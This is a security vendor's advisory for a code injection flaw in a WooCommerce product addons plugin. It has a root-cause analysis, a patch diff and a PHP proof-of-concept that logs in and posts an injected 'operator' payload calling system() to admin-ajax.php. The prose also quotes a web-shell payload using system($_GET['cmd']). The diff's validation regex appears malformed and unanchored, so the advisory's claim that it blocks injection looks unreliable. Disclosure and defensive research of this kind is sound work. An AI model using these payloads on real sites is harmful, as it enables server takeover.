Atomic Edge analysis of CVE-2026-2296:
This vulnerability is an authenticated code injection flaw in the Product Addons for Woocommerce plugin. It allows attackers with Shop Manager or higher privileges to execute arbitrary PHP code on the server. The vulnerability exists in the conditional logic feature when saving product addon form field rules.
Atomic Edge research identifies the root cause in the evalConditions() function within the conditional-logic.php file. The function constructs a PHP eval() statement at line 88 using unsanitized user input from the $rule->operator parameter. The plugin directly concatenates this user-controlled operator value into the eval string without validation, allowing injection of arbitrary PHP code through the conditional logic operator field.
The exploitation method requires authenticated access as a Shop Manager or higher role. Attackers would submit a crafted POST request to the plugin’s addon rule saving endpoint, typically via admin-ajax.php with action=wcpa_save_forms. The payload would be placed in the operator parameter within conditional logic rule data. Example payloads could include PHP code like ‘); system($_GET[“cmd”]); //’ to break out of the eval context and execute arbitrary commands.
The patch adds input validation for both $rule->operator and $relation->operator parameters. In conditional-logic.php lines 81-89 and 95-103, the code now uses preg_match with the pattern ‘/(and|or|&&|||)/i’ to restrict operator values to only logical operators. Any operator value not matching this whitelist is set to an empty string. This prevents injection of arbitrary PHP code while preserving legitimate conditional logic functionality.
Successful exploitation grants remote code execution on the WordPress server with web server privileges. Attackers can execute arbitrary system commands, access sensitive files, establish persistent backdoors, and potentially escalate privileges to the underlying operating system. The Shop Manager role requirement limits the attack surface but still represents significant risk for e-commerce sites using this plugin.
--- a/woo-custom-product-addons/includes/process/conditional-logic.php
+++ b/woo-custom-product-addons/includes/process/conditional-logic.php
@@ -81,6 +81,13 @@
} else {
$eval_str .= ' false ';
}
+ if ($rule->operator !== false) {
+ if (preg_match('/(and|or|&&|||)/i', $rule->operator, $matches)) {
+ $rule->operator = $matches[0];
+ } else {
+ $rule->operator = '';
+ }
+ }
$eval_str .= ') ' . (($rule->operator !== false) ? $rule->operator : '') . ' ';
}
@@ -88,6 +95,13 @@
preg_match_all('/(.*)/', $eval_str, $match);
$eval_str = $match[0][0] . ' ';
}
+ if ($relation->operator !== false) {
+ if (preg_match('/(and|or|&&|||)/i', $relation->operator, $matches)) {
+ $relation->operator = $matches[0];
+ } else {
+ $relation->operator = '';
+ }
+ }
$eval_str .= ') ' . (($relation->operator !== false) ? $relation->operator : '') . ' ';
}
--- a/woo-custom-product-addons/start.php
+++ b/woo-custom-product-addons/start.php
@@ -1,7 +1,7 @@
<?php
/*
* Plugin Name: WooCommerce Custom Product Addons Free
- * Version: 3.1.0
+ * Version: 3.1.1
* Plugin URI: https://acowebs.com
* Description: WooCommerce Product add-on plugin. Add custom fields to your WooCommerce product page. With an easy-to-use Custom Form Builder, now you can add extra product options quickly.
* Author URI: https://acowebs.com
@@ -11,8 +11,7 @@
* Requires PHP: 7.2
* Text Domain: woo-custom-product-addons
* WC requires at least: 3.3.0
- * WC tested up to: 10.4
- * Requires Plugins: woocommerce
+ * WC tested up to: 10.5
*/
/**
*
@@ -28,7 +27,7 @@
}
- define('WCPA_VERSION', '3.1.0');
+ define('WCPA_VERSION', '3.1.1');
define('WCPA_PLUGIN_NAME', 'Woocommerce Custom Product Addons');
define('WCPA_TOKEN', 'wcpa');
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2296 - Product Addons for Woocommerce – Product Options with Custom Fields <= 3.1.0 - Authenticated (Shop Manager+) Code Injection via Conditional Logic 'operator' Parameter
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'shop_manager';
$password = 'password123';
// Step 1: Authenticate and obtain WordPress nonce
$login_url = 'http://vulnerable-site.com/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_2296');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'http://vulnerable-site.com/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// Step 2: Extract nonce from admin page (simplified - real PoC would parse HTML)
// In practice, you would need to load the product addons page and extract the nonce
// This example assumes we have a valid nonce
$nonce = 'abc123def456';
// Step 3: Craft malicious conditional logic payload
$malicious_operator = "); system('id'); //";
// Step 4: Construct exploit request
$post_data = [
'action' => 'wcpa_save_forms',
'security' => $nonce,
'form_data' => json_encode([
'form_id' => 1,
'fields' => [[
'type' => 'text',
'label' => 'Malicious Field',
'conditional_rules' => [
'relation' => 'AND',
'rules' => [[
'field' => 'some_field',
'operator' => $malicious_operator, // Injected payload
'value' => 'test'
]]
]
]]
])
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$result = curl_exec($ch);
curl_close($ch);
// Clean up
unlink($cookie_file);
echo "Exploit attempt completed. Check server logs for command execution.";
?>
